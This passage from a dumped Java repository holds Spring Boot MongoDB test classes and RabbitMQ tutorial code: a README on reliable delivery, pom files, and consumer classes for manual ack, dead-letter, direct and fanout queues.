....:\nW###WW#EE#KEDDfEWWKKDfDDKKKWWK#WW#K##W#KKWWWWKKW#WWWKW#####W##W##W#KKKKKEEWWK#E##K##WWDDEDEDEWWEWWWWWKEDDGGGDGDGDGGDDEDEEKKKEEEEEED..:. . . .iijEDDj : .. ...  . .. .:  . .. .  .\n#WW###WKWWEDEDLKW#KEDfDEWKWK#W#KW#WWW#EWKKWWWWWKKK#W#W#W#K###W##W#KKKKKKKKWWWWW##W#KWEEEDEDEKKWKWWWWW#KDGDGGGGGGDGDDDDEEEEEEEEEEDEDi. :..::..jjjDDG,. . ..   : ..  : . :. ..: : : ..\nW#K#W##EWWWEDDLKWKKEDfDEEEW#KWK#WW#WK#WKWEWWWWW#WK#WWW###W#K###W###EKKW#WWE#WWWWWWWWEWDDEDDEEWKKWK#KWWWEDGGGDGDGDGDDDEDKEKEEEEKEEDDf,:. . . .tijDDf..   .. .. ..  :   .. : . . .\n#WWWW##EK#KEEDfKWKWEGfDEKKW#KKWW#K#KWWWWWEWW#E#K##K#KW###W#K#####KWEKKW#WWK##KKWKW#KKKDDDDDDDKWKKKKWW#WWDDGGDGDGGDDDDEDEEEKEEEDEDEDDL, .:...,jjGDDt : .: : ...... :  ... : ....: ..\n#W#W#W#WKKEDDDLKWW#EDfGKK#KW###WW#K#K#KKKWW#KWW#WW#K##K##K###W#W##EKKW#K#E#E#WWWWEKKWWEEDEEDEKKKKKWWKWWWEDDGGGGDDGDDDDEEEEEEKEEDEDDDDj.: ...tjDEDG,. .. . .: .: ....:.... : ... : ..\nWWW#W###EWKEDDLKKWKDDfGKKKW#WK#KWWWW#W#KWWWWEWK#WKW#KW##W###W####WWEWWW#WWE#K#WK#KWKWWEDEDEDEWKWKKKKWWWWWEDGDGGGDGDDDEEDEEEEEEDDDDEDDD.... .tDEDDD, ... :......... :  : .: :: .....\nWW###W##EWEEDDLKEWEKGfDEWW#W##WWW#KW#W#WE#WWWEW#WE#K###WK#WWK###WWEKWW#W#KWW#W#EEKKKW#WDDDDEDEKKKKKKKW#WWWWGGGGGDGDDDDEDEEEEEEDDDDDDDDj. ..;DEDDDL...:..:...:...::.........:..::..:\n##W#KW##EKWDGDfKKKKEDfDKEWWWWW#WK#K#WWWKWKW#KKK#WW#W##W#######W##WW#K##K##KW#KW#WEK#KKEEDKEDEDEWKWKWWKWKW#WDDGGGDGDDDEEEEEEEEDDDDDDDDDL,.. tEEDDDf..: ::..:: ::.::.::::..:..:..:.::.\nWWK#W###DEEEGDLEKKKKDfDEWK#K##W##W#EW#KWWW#KKW#W##WWWW##W#W#W##W#KEWKWW#KWK##W#KEEWW##KDEDDDEEDKWKWKWWWWWWWEDGDGGDDDDDEDEEEEDEDDDDDDDDGL .,tEDKDGf.:.:. :...:. :  :..:.::..: :. :...\nW#W#W###DEWEDGGEDKKEDLDKK#K#WW###W#WK#KWWW#EWW#W##W#K##WW#W#WW##WKKKKKWWWWWWK#KWKKK##KKEDEEDEEEDWKKKWKW#WWWWKDGGGDGDDDEDEEEEEDEDDDGDGDDDD.LDEEDDDj:..:::....::.:..: ::.:.... :...:.:\n#KW#WW##EEKDGDfDEKWEDLEK#K#K##W##K#KWWWWW#K#KWK###WW#W##W####W#KWE#EW##WWWW##WKKKK#WWKKDEDKKEEDEKWWWWKWKWWW#KEGGGGGDDEDEEEDEDDDDDDDDDGGGDjGDEDDDGj.:: ::.::: ::..::...: :.:::.....:\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mongodb/src/main/webapp/WEB-INF/web.xml",
    "content": "<!DOCTYPE web-app PUBLIC\n \"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN\"\n \"http://java.sun.com/dtd/web-app_2_3.dtd\" >\n\n<web-app>\n  <display-name>Archetype Created Web Application</display-name>\n</web-app>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mongodb/src/main/webapp/index.jsp",
    "content": "<html>\n<body>\n<h2>Hello World!</h2>\n</body>\n</html>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mongodb/src/test/java/com/jun/plugin/mongodb/SpringBootDemoMongodbApplicationTests.java",
    "content": "package com.jun.plugin.mongodb;\n\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.springframework.boot.test.context.SpringBootTest;\nimport org.springframework.test.context.junit4.SpringRunner;\n\n@RunWith(SpringRunner.class)\n@SpringBootTest\npublic class SpringBootDemoMongodbApplicationTests {\n\n    @Test\n    public void contextLoads() {\n    }\n\n}\n\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mongodb/src/test/java/com/jun/plugin/mongodb/repository/ArticleRepositoryTest.java",
    "content": "package com.jun.plugin.mongodb.repository;\n\nimport cn.hutool.core.date.DateUtil;\nimport cn.hutool.core.lang.Snowflake;\nimport cn.hutool.core.util.RandomUtil;\nimport cn.hutool.json.JSONUtil;\nimport com.google.common.collect.Lists;\nimport com.jun.plugin.mongodb.SpringBootDemoMongodbApplicationTests;\nimport com.jun.plugin.mongodb.model.Article;\nimport com.jun.plugin.mongodb.repository.ArticleRepository;\n\nimport lombok.extern.slf4j.Slf4j;\nimport org.junit.Test;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.data.domain.Page;\nimport org.springframework.data.domain.PageRequest;\nimport org.springframework.data.domain.Sort;\nimport org.springframework.data.mongodb.core.MongoTemplate;\nimport org.springframework.data.mongodb.core.query.Criteria;\nimport org.springframework.data.mongodb.core.query.Query;\nimport org.springframework.data.mongodb.core.query.Update;\n\nimport java.util.List;\nimport java.util.stream.Collectors;\n\n/**\n * <p>\n * 测试操作 MongoDb\n * </p>\n *\n * @package: com.xkcoding.mongodb.repository\n * @description: 测试操作 MongoDb\n * @author: yangkai.shen\n * @date: Created in 2018-12-28 16:35\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Slf4j\npublic class ArticleRepositoryTest extends SpringBootDemoMongodbApplicationTests {\n    @Autowired\n    private ArticleRepository articleRepo;\n\n    @Autowired\n    private MongoTemplate mongoTemplate;\n\n    @Autowired\n    private Snowflake snowflake;\n\n    /**\n     * 测试新增\n     */\n    @Test\n    public void testSave() {\n        Article article = new Article(1L, RandomUtil.randomString(20), RandomUtil.randomString(150), DateUtil.date(), DateUtil\n                .date(), 0L, 0L);\n        articleRepo.save(article);\n        log.info(\"【article】= {}\", JSONUtil.toJsonStr(article));\n    }\n\n    /**\n     * 测试新增列表\n     */\n    @Test\n    public void testSaveList() {\n        List<Article> articles = Lists.newArrayList();\n        for (int i = 0; i < 10; i++) {\n            articles.add(new Article(snowflake.nextId(), RandomUtil.randomString(20), RandomUtil.randomString(150), DateUtil\n                    .date(), DateUtil.date(), 0L, 0L));\n        }\n        articleRepo.saveAll(articles);\n\n        log.info(\"【articles】= {}\", JSONUtil.toJsonStr(articles.stream()\n                .map(Article::getId)\n                .collect(Collectors.toList())));\n    }\n\n    /**\n     * 测试更新\n     */\n    @Test\n    public void testUpdate() {\n        articleRepo.findById(1L).ifPresent(article -> {\n            article.setTitle(article.getTitle() + \"更新之后的标题\");\n            article.setUpdateTime(DateUtil.date());\n            articleRepo.save(article);\n            log.info(\"【article】= {}\", JSONUtil.toJsonStr(article));\n        });\n    }\n\n    /**\n     * 测试删除\n     */\n    @Test\n    public void testDelete() {\n        // 根据主键删除\n        articleRepo.deleteById(1L);\n\n        // 全部删除\n        articleRepo.deleteAll();\n    }\n\n    /**\n     * 测试点赞数、访客数，使用save方式更新点赞、访客\n     */\n    @Test\n    public void testThumbUp() {\n        articleRepo.findById(1L).ifPresent(article -> {\n            article.setThumbUp(article.getThumbUp() + 1);\n            article.setVisits(article.getVisits() + 1);\n            articleRepo.save(article);\n            log.info(\"【标题】= {}【点赞数】= {}【访客数】= {}\", article.getTitle(), article.getThumbUp(), article.getVisits());\n        });\n    }\n\n    /**\n     * 测试点赞数、访客数，使用更优雅/高效的方式更新点赞、访客\n     */\n    @Test\n    public void testThumbUp2() {\n        Query query = new Query();\n        query.addCriteria(Criteria.where(\"_id\").is(1L));\n        Update update = new Update();\n        update.inc(\"thumbUp\", 1L);\n        update.inc(\"visits\", 1L);\n        mongoTemplate.updateFirst(query, update, \"article\");\n\n        articleRepo.findById(1L)\n                .ifPresent(article -> log.info(\"【标题】= {}【点赞数】= {}【访客数】= {}\", article.getTitle(), article.getThumbUp(), article\n                        .getVisits()));\n    }\n\n    /**\n     * 测试分页排序查询\n     */\n    @Test\n    public void testQuery() {\n        Sort sort = Sort.by(\"thumbUp\", \"updateTime\").descending();\n        PageRequest pageRequest = PageRequest.of(0, 5, sort);\n        Page<Article> all = articleRepo.findAll(pageRequest);\n        log.info(\"【总页数】= {}\", all.getTotalPages());\n        log.info(\"【总条数】= {}\", all.getTotalElements());\n        log.info(\"【当前页数据】= {}\", JSONUtil.toJsonStr(all.getContent()\n                .stream()\n                .map(article -> \"文章标题：\" + article.getTitle() + \"点赞数：\" + article.getThumbUp() + \"更新时间：\" + article.getUpdateTime())\n                .collect(Collectors.toList())));\n    }\n\n    /**\n     * 测试根据标题模糊查询\n     */\n    @Test\n    public void testFindByTitleLike() {\n        List<Article> articles = articleRepo.findByTitleLike(\"更新\");\n        log.info(\"【articles】= {}\", JSONUtil.toJsonStr(articles));\n    }\n\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_mongodb/src/test/java/com/jun/plugin/mongodb2/test/SpringbootMongodbApplication.java",
    "content": "package com.jun.plugin.mongodb2.test;\n\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.boot.CommandLineRunner;\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\nimport org.springframework.context.annotation.ComponentScan;\n\nimport com.jun.plugin.mongodb2.service.IUserService;\nimport com.jun.plugin.mongodb2.service.UserRepository;\n\n@SpringBootApplication\n@ComponentScan(basePackages={\"com.itstyle.mongodb\"})\npublic class SpringbootMongodbApplication implements CommandLineRunner {\n\n\t@Autowired\n\tprivate IUserService userService;\n\t@Autowired\n\tprivate UserRepository userRepository;\n\n\tpublic static void main(String[] args) {\n\t\tSpringApplication.run(SpringbootMongodbApplication.class, args);\n\t}\n\n\t@Override\n\tpublic void run(String... args) throws Exception {\n\t\ttry {\n\t\t\tuserRepository.removeUser(\"小明\");\n\t\t\t/*Users users = new Users(\"1\", \"小明\", 10);\n\t\t\tusers.setAddress(\"青岛市\");\n\t\t\tuserService.saveUser(users);\n\t\t\tList<Users> list = userService.listUser();\n\t\t\tSystem.out.println(\"一共这么多人:\"+list.size());*/\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t}\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_mongodb/src/test/java/com/xncoding/pos/ApplicationTests.java",
    "content": "package com.xncoding.pos;\n\nimport com.xncoding.pos.dao.entity.Customer;\nimport com.xncoding.pos.service.CustomerService;\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.boot.test.context.SpringBootTest;\nimport org.springframework.stereotype.Service;\nimport org.springframework.test.context.junit4.SpringRunner;\n\nimport javax.annotation.Resource;\n\nimport java.util.List;\n\nimport static org.hamcrest.MatcherAssert.assertThat;\nimport static org.hamcrest.Matchers.*;\n\n/**\n * 测试\n */\n@RunWith(SpringRunner.class)\n@SpringBootTest\npublic class ApplicationTests {\n    private static final Logger log = LoggerFactory.getLogger(ApplicationTests.class);\n\n    @Resource\n    private CustomerService service;\n\n    /**\n     * 测试增删改查\n     */\n    @Test\n    public void test() {\n\n        service.deleteAll();\n\n        // save a couple of customers\n        service.save(new Customer(\"Alice\", \"Smith\"));\n        service.save(new Customer(\"Bob\", \"Smith\"));\n\n        // fetch all customers\n        System.out.println(\"Customers found with findAll():\");\n        System.out.println(\"-------------------------------\");\n        int count = 0;\n        for (Customer customer : service.findAll()) {\n            System.out.println(customer);\n            count++;\n        }\n        assertThat(count, is(2));\n\n        // fetch an individual customer\n        System.out.println(\"Customer found with findByFirstName('Alice'):\");\n        System.out.println(\"--------------------------------\");\n        Customer c = service.findByFirstName(\"Alice\");\n        assertThat(c, notNullValue());\n        assertThat(c.getFirstName(), is(\"Alice\"));\n\n        System.out.println(\"Customers found with findByLastName('Smith'):\");\n        System.out.println(\"--------------------------------\");\n\n        List<Customer> list = service.findByLastName(\"Smith\");\n        assertThat(list, notNullValue());\n        assertThat(list.size(), greaterThan(1));\n        assertThat(list.size(), is(2));\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mq_rabbitmq/README.md",
    "content": "# RabbitMQ\n\n## 1 如何保障消息可靠生产(消息100%投递成功)\n\n**方案：消息落库，对消息状态进行打标**\n\n**步骤:**\n\n1. 把消息发送MQ一份，同时存储到数据库(Redis)一份。开启消息发送确定机制，然后进行消息的状态控制，发送成功1，发送失败0。\n2. 必须结合应答ACK(确认字符)来完成。对于那些如果没有发送成功的消息，可以采用定时器进行轮询发送。\n\n**示例**\n\n[application.yaml](spring-boot-rabbitmq/producer/src/main/resources/application.yml)\n\n[定义生产者确认回调对象](spring-boot-rabbitmq/producer/src/main/java/com/example/config/ProducerAckConfirmCallback.java)\n\n\n\n\n\n## 2 消息可靠消费\n\n**步骤：**\n\n1. 消费者开始手动ack消息确定\n2. 尝试消息重投\n3. 对重投还是消费失败的消息拒绝确认\n4. 把拒绝确认的消息扔到死信队列中，并记录到数据库，再做好消息预警\n\n**示例**\n\n[application.yaml](spring-boot-rabbitmq/consumer/src/main/resources/application.yml)\n\n需要开启下面的配置\n\n```properties\nspring.rabbitmq.listener.acknowledge-mode=manual  \t\t #消费者开启手动ack消息确认\nspring.rabbitmq.listener.default-requeue-rejected=false  #设置为false，会重发消息到死信队列\n```\n\n**Consumer示例**\n\n消费端手动确认[AckConsumer](spring-boot-rabbitmq/consumer/src/main/java/com/example/ack/AckConsumer.java)\n\n死信队列[DeadLetterConsumer](spring-boot-rabbitmq/consumer/src/main/java/com/example/ack/DeadLetterConsumer.java)\n\n\n\n\n\n## 3：待补充\n\n1. 延时消息\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mq_rabbitmq/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n         \n    <groupId>io.github.wujun728</groupId>\n\t<artifactId>springboot_mq_rabbitmq</artifactId>\n\t<version>1.0</version>\n\t\n\t<modelVersion>4.0.0</modelVersion>\n\t<parent>\n        <groupId>org.springframework.boot</groupId>\n        <artifactId>spring-boot-starter-parent</artifactId>\n        <version>2.3.1.RELEASE</version>\n        <relativePath></relativePath>\n    </parent>\n\n    <properties>\n        <maven.compiler.source>11</maven.compiler.source>\n        <maven.compiler.target>11</maven.compiler.target>\n    </properties>\n\n</project>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mq_rabbitmq/spring-boot-rabbitmq/consumer/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <parent>\n        <groupId>org.springframework.boot</groupId>\n        <artifactId>spring-boot-starter-parent</artifactId>\n        <version>2.3.2.RELEASE</version>\n        <relativePath/>\n    </parent>\n    <modelVersion>4.0.0</modelVersion>\n\n    <artifactId>consumer</artifactId>\n\n    <properties>\n        <maven.compiler.source>11</maven.compiler.source>\n        <maven.compiler.target>11</maven.compiler.target>\n        <spring-boot-version>2.3.2.RELEASE</spring-boot-version>\n    </properties>\n\n    <dependencies>\n        <!-- 配置web启动器 -->\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-web</artifactId>\n        </dependency>\n        <!-- 配置amqp，即rabbitmq -->\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-amqp</artifactId>\n        </dependency>\n\n        <!-- 测试 -->\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-test</artifactId>\n        </dependency>\n\n        <!-- lombok插件 -->\n        <dependency>\n            <groupId>org.projectlombok</groupId>\n            <artifactId>lombok</artifactId>\n            <optional>true</optional>\n        </dependency>\n    </dependencies>\n\n    <build>\n        <plugins>\n            <plugin>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-maven-plugin</artifactId>\n                <version>${spring-boot-version}</version>\n            </plugin>\n        </plugins>\n    </build>\n</project>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mq_rabbitmq/spring-boot-rabbitmq/consumer/src/main/java/com/example/RabbitMQConsumerApplication.java",
    "content": "package com.example;\n\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\n\n/**\n * <p>\n * 启动类\n * </p>\n *\n * @author MrWen\n */\n@SpringBootApplication\npublic class RabbitMQConsumerApplication {\n\n    public static void main(String[] args) {\n        SpringApplication.run(RabbitMQConsumerApplication.class);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mq_rabbitmq/spring-boot-rabbitmq/consumer/src/main/java/com/example/ack/AckConsumer.java",
    "content": "package com.example.ack;\n\nimport com.rabbitmq.client.Channel;\nimport org.springframework.amqp.core.ExchangeTypes;\nimport org.springframework.amqp.core.Message;\nimport org.springframework.amqp.rabbit.annotation.*;\nimport org.springframework.stereotype.Component;\n\nimport java.io.IOException;\n\n/**\n * <p>\n * 消费端-手动确认ack，\n * 需要配置 spring.rabbitmq.listener.acknowledge-mode=manual  消费者开启手动ack消息确认\n * 需要配置 spring.rabbitmq.listener.default-requeue-rejected=false  设置为false，会重发消息到死信队列\n *\n * </p>\n *\n * @author MrWen\n **/\n@Component\npublic class AckConsumer {\n\n    /**\n     * 消息监听方法\n     * bindings: 完成队列与交换机的绑定\n     * Queue: 队列属性，超过最大值，超时未被消费，消费失败超过重试次数，都会被仍到信息队列中\n     * exchange：交换机属性\n     * key：路由key,通配符\n     */\n    @RabbitListener(bindings = @QueueBinding(\n            value = @Queue(name = \"${topicAck.ack.queue}\", durable = \"true\", arguments = {\n                    @Argument(name = \"x-max-length\", value = \"3\", type = \"java.lang.Long\"), // 队列的最大存储界限,这里示例设为3\n                    @Argument(name = \"x-message-ttl\", value = \"5000000\", type = \"java.lang.Long\"), // 消息过期时间，多久没有被消费\n                    @Argument(name = \"x-dead-letter-exchange\", value = \"${dead.exchange}\"), // 死信队列交换机-dead-exchange\n                    @Argument(name = \"x-dead-letter-routing-key\", value = \"xxx\")}), // 死信队列路由key\n            exchange = @Exchange(name = \"${topicAck.exchange}\", type = ExchangeTypes.TOPIC),// 交换机\n            key = {\"#\"}// 路由key,通配符\n    ))\n    public void handlerMessage(String msg, Channel channel, Message message) throws IOException {\n        try {\n            System.out.printf(\"================AckConsumer接受到消息，准备消费,msg=%s,================\", msg);\n            System.out.println();\n            try {\n                Thread.sleep(5000);\n            } catch (Exception e) {\n                e.printStackTrace();\n            }\n            System.out.println(\"AckConsumer--->接受到的消息是：\" + msg);\n\n            // 业务处理\n            int i = 10 / 0;\n\n            // 手动ack确认\n            //参数1：deliveryTag:消息唯一传输ID\n            //参数2：multiple：true: 手动批量处理，false: 手动单条处理\n            channel.basicAck(message.getMessageProperties().getDeliveryTag(), false);\n            System.out.printf(\"================AckConsumer消费成功,msg=%s,================\", msg);\n            System.out.println();\n        } catch (Exception ex) {\n            // 如果真得出现了异常，我们采用消息重投,获取redelivered，判断是否为重投: false没有重投，true重投\n            Boolean redelivered = message.getMessageProperties().getRedelivered();\n            System.out.println(\"redelivered = \" + redelivered);\n\n            try {\n                // (已重投)拒绝确认\n                if (redelivered) {\n                    /**\n                     * 拒绝确认，从队列中删除该消息，防止队列阻塞(消息堆积)\n                     * boolean requeue: false不重新入队列(丢弃消息)\n                     */\n                    channel.basicReject(message.getMessageProperties().getDeliveryTag(), false);\n                    System.out.printf(\"================AckConsumer消费消息已投入死信队列,msg=%s,================\", msg);\n                    System.out.println();\n                } else { // (没有重投) 消息重投\n                    /**\n                     * 消息重投，重新把消息放回队列中\n                     * boolean multiple: 单条或批量\n                     * boolean requeue: true重回队列\n                     */\n                    channel.basicNack(message.getMessageProperties().getDeliveryTag(), false, true);\n                    System.out.println(\"=========消息重投了=======\");\n                }\n            } catch (Exception e) {\n                e.printStackTrace();\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mq_rabbitmq/spring-boot-rabbitmq/consumer/src/main/java/com/example/ack/DeadLetterConsumer.java",
    "content": "package com.example.ack;\n\nimport com.rabbitmq.client.Channel;\nimport org.springframework.amqp.core.ExchangeTypes;\nimport org.springframework.amqp.core.Message;\nimport org.springframework.amqp.rabbit.annotation.Exchange;\nimport org.springframework.amqp.rabbit.annotation.Queue;\nimport org.springframework.amqp.rabbit.annotation.QueueBinding;\nimport org.springframework.amqp.rabbit.annotation.RabbitListener;\nimport org.springframework.stereotype.Component;\n\nimport java.io.IOException;\n\n/**\n * <p>\n * 死信队列消费者\n * </p>\n *\n * @author MrWen\n **/\n@Component\npublic class DeadLetterConsumer {\n\n    /**\n     * 监听消息的方法\n     */\n    @RabbitListener(bindings = @QueueBinding(\n            value = @Queue(name = \"${dead.queue}\", durable = \"true\"), // 队列\n            exchange = @Exchange(name = \"${dead.exchange}\", type = ExchangeTypes.TOPIC),// 交换机\n            key = {\"#\"}// 路由key\n    ))\n    public void handlerMessage(String msg, Channel channel, Message message) throws IOException {\n        //其实这里也要像AckConsumer一样处理，这里只是简单的确认即可\n        System.out.println(\"死信队列接收到的消息：\" + msg);\n        // 手动ack确认\n        //参数1：deliveryTag:消息唯一传输ID\n        //参数2：multiple：true: 手动批量处理，false: 手动单条处理\n        channel.basicAck(message.getMessageProperties().getDeliveryTag(), false);\n        System.out.println(\"死信队列接已手动确认，消息：\" + msg);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mq_rabbitmq/spring-boot-rabbitmq/consumer/src/main/java/com/example/direct/AllConsumer.java",
    "content": "package com.example.direct;\n\nimport org.springframework.amqp.core.ExchangeTypes;\nimport org.springframework.amqp.rabbit.annotation.Exchange;\nimport org.springframework.amqp.rabbit.annotation.Queue;\nimport org.springframework.amqp.rabbit.annotation.QueueBinding;\nimport org.springframework.amqp.rabbit.annotation.RabbitListener;\nimport org.springframework.stereotype.Component;\n\n/**\n * <p>\n * Routing 路由模式-交换机和队列进行绑定，并且指定routing key，当发送消息到交换机后，交换机会根据routing key将消息发送到对应的队列\n * 符合路由（routing key，固定）的消费者收到\n * </p>\n *\n * @author MrWen\n **/\n@Component\npublic class AllConsumer {\n\n    /**\n     * 消息监听方法\n     * bindings: 完成队列与交换机的绑定\n     * Queue: 队列属性\n     * exchange：交换机属性\n     * key：路由key\n     */\n    @RabbitListener(bindings = @QueueBinding(\n            value = @Queue(name = \"${direct.all.queue}\", durable = \"true\"), // 队列\n            exchange = @Exchange(name = \"${direct.exchange}\", type = ExchangeTypes.DIRECT),// 交换机\n            key = {\"info\", \"error\"} // 路由key\n    ))\n    public void handlerMessage(String msg) {\n        System.out.println(\"all--->接受到的消息是：\" + msg);\n        try {\n            Thread.sleep(5000);\n        } catch (Exception e) {\n            e.printStackTrace();\n        }\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mq_rabbitmq/spring-boot-rabbitmq/consumer/src/main/java/com/example/direct/ErrorConsumer.java",
    "content": "package com.example.direct;\n\nimport org.springframework.amqp.core.ExchangeTypes;\nimport org.springframework.amqp.rabbit.annotation.Exchange;\nimport org.springframework.amqp.rabbit.annotation.Queue;\nimport org.springframework.amqp.rabbit.annotation.QueueBinding;\nimport org.springframework.amqp.rabbit.annotation.RabbitListener;\nimport org.springframework.stereotype.Component;\n\n/**\n * <p>\n * Routing 路由模式-交换机和队列进行绑定，并且指定routing key，当发送消息到交换机后，交换机会根据routing key将消息发送到对应的队列\n * 符合路由（routing key，固定）的消费者收到\n * </p>\n *\n * @author MrWen\n **/\n@Component\npublic class ErrorConsumer {\n\n    /**\n     * 消息监听方法\n     * bindings: 完成队列与交换机的绑定\n     * Queue: 队列属性\n     * exchange：交换机属性\n     * key：路由key\n     */\n    @RabbitListener(bindings = @QueueBinding(\n            value = @Queue(name = \"${direct.error.queue}\", durable = \"true\"), // 队列\n            exchange = @Exchange(name = \"${direct.exchange}\", type = ExchangeTypes.DIRECT),// 交换机\n            key = {\"error\"} // 路由key\n    ))\n    public void handlerMessage(String msg) {\n        System.out.println(\"error--->接受到的消息是：\" + msg);\n        try {\n            Thread.sleep(5000);\n        } catch (Exception e) {\n            e.printStackTrace();\n        }\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mq_rabbitmq/spring-boot-rabbitmq/consumer/src/main/java/com/example/direct/InfoConsumer.java",
    "content": "package com.example.direct;\n\nimport org.springframework.amqp.core.ExchangeTypes;\nimport org.springframework.amqp.rabbit.annotation.Exchange;\nimport org.springframework.amqp.rabbit.annotation.Queue;\nimport org.springframework.amqp.rabbit.annotation.QueueBinding;\nimport org.springframework.amqp.rabbit.annotation.RabbitListener;\nimport org.springframework.stereotype.Component;\n\n/**\n * <p>\n * Routing 路由模式-交换机和队列进行绑定，并且指定routing key，当发送消息到交换机后，交换机会根据routing key将消息发送到对应的队列\n * 符合路由（routing key，固定）的消费者收到\n * </p>\n *\n * @author MrWen\n **/\n@Component\npublic class InfoConsumer {\n\n    /**\n     * 消息监听方法\n     * bindings: 完成队列与交换机的绑定\n     * Queue: 队列属性\n     * exchange：交换机属性\n     * key：路由key\n     */\n    @RabbitListener(bindings = @QueueBinding(\n            value = @Queue(name = \"${direct.info.queue}\", durable = \"true\"), // 队列\n            exchange = @Exchange(name = \"${direct.exchange}\", type = ExchangeTypes.DIRECT),// 交换机\n            key = {\"info\"} // 路由key\n    ))\n    public void handlerMessage(String msg) {\n        System.out.println(\"info--->接受到的消息是：\" + msg);\n        try {\n            Thread.sleep(5000);\n        } catch (Exception e) {\n            e.printStackTrace();\n        }\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mq_rabbitmq/spring-boot-rabbitmq/consumer/src/main/java/com/example/fanout/SmsConsumer.java",
    "content": "package com.example.fanout;\n\nimport org.springframework.amqp.core.ExchangeTypes;\nimport org.springframework.amqp.rabbit.annotation.Exchange;\nimport org.springframework.amqp.rabbit.annotation.Queue;\nimport org.springframework.amqp.rabbit.annotation.QueueBinding;\nimport org.springframework.amqp.rabbit.annotation.RabbitListener;\nimport org.springframework.stereotype.Component;\n\n/**\n * <p>\n * Fanout/subscribe发布订阅模式-生产者通过交换机,同时向多个消费者发送消息: 交换机模式采用(type=fanout)\n * 所有消费者都能收到消息\n * </p>\n *\n * @author MrWen\n **/\n@Component\npublic class SmsConsumer {\n\n    /**\n     * 消息监听方法\n     * bindings: 完成队列与交换机的绑定\n     * Queue: 队列属性\n     * exchange：交换机属性\n     */\n    @RabbitListener(bindings = @QueueBinding(\n            value = @Queue(name = \"${fanout.sms.queue}\", durable = \"true\"),\n            exchange = @Exchange(name = \"${fanout.exchange}\", type = ExchangeTypes.FANOUT)))\n    public void handlerMessage(String msg) {\n        System.out.println(\"发布订阅模式：fanout Sms接收到的消息是: \" + msg);\n        try {\n            Thread.sleep(5000);\n        } catch (Exception e) {\n            e.printStackTrace();\n        }\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mq_rabbitmq/spring-boot-rabbitmq/consumer/src/main/java/com/example/fanout/WeixinConsumer.java",
    "content": "package com.example.fanout;\n\nimport org.springframework.amqp.core.ExchangeTypes;\nimport org.springframework.amqp.rabbit.annotation.Exchange;\nimport org.springframework.amqp.rabbit.annotation.Queue;\nimport org.springframework.amqp.rabbit.annotation.QueueBinding;\nimport org.springframework.amqp.rabbit.annotation.RabbitListener;\nimport org.springframework.stereotype.Component;\n\n/**\n * <p>\n * Fanout/subscribe发布订阅模式-生产者通过交换机,同时向多个消费者发送消息: 交换机模式采用(type=fanout)\n * 所有消费者都能收到消息\n * </p>\n *\n * @author MrWen\n **/\n@Component\npublic class WeixinConsumer {\n\n    /**\n     * 消息监听方法\n     * bindings: 完成队列与交换机的绑定\n     * Queue: 队列属性\n     * exchange：交换机属性\n     */\n    @RabbitListener(bindings = @QueueBinding(\n            value = @Queue(name = \"${fanout.weixin.queue}\", durable = \"true\"),\n            exchange = @Exchange(name = \"${fanout.exchange}\", type = ExchangeTypes.FANOUT)))\n    public void handlerMessage(String msg) {\n        System.out.println(\"发布订阅模式：fanout Weixin接收到的消息是: \" + msg);\n        try {\n            Thread.sleep(5000);\n        } catch (Exception e) {\n            e.printStackTrace();\n        }\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mq_rabbitmq/spring-boot-rabbitmq/consumer/src/main/java/com/example/topic/ErrorLogConsumer.java",
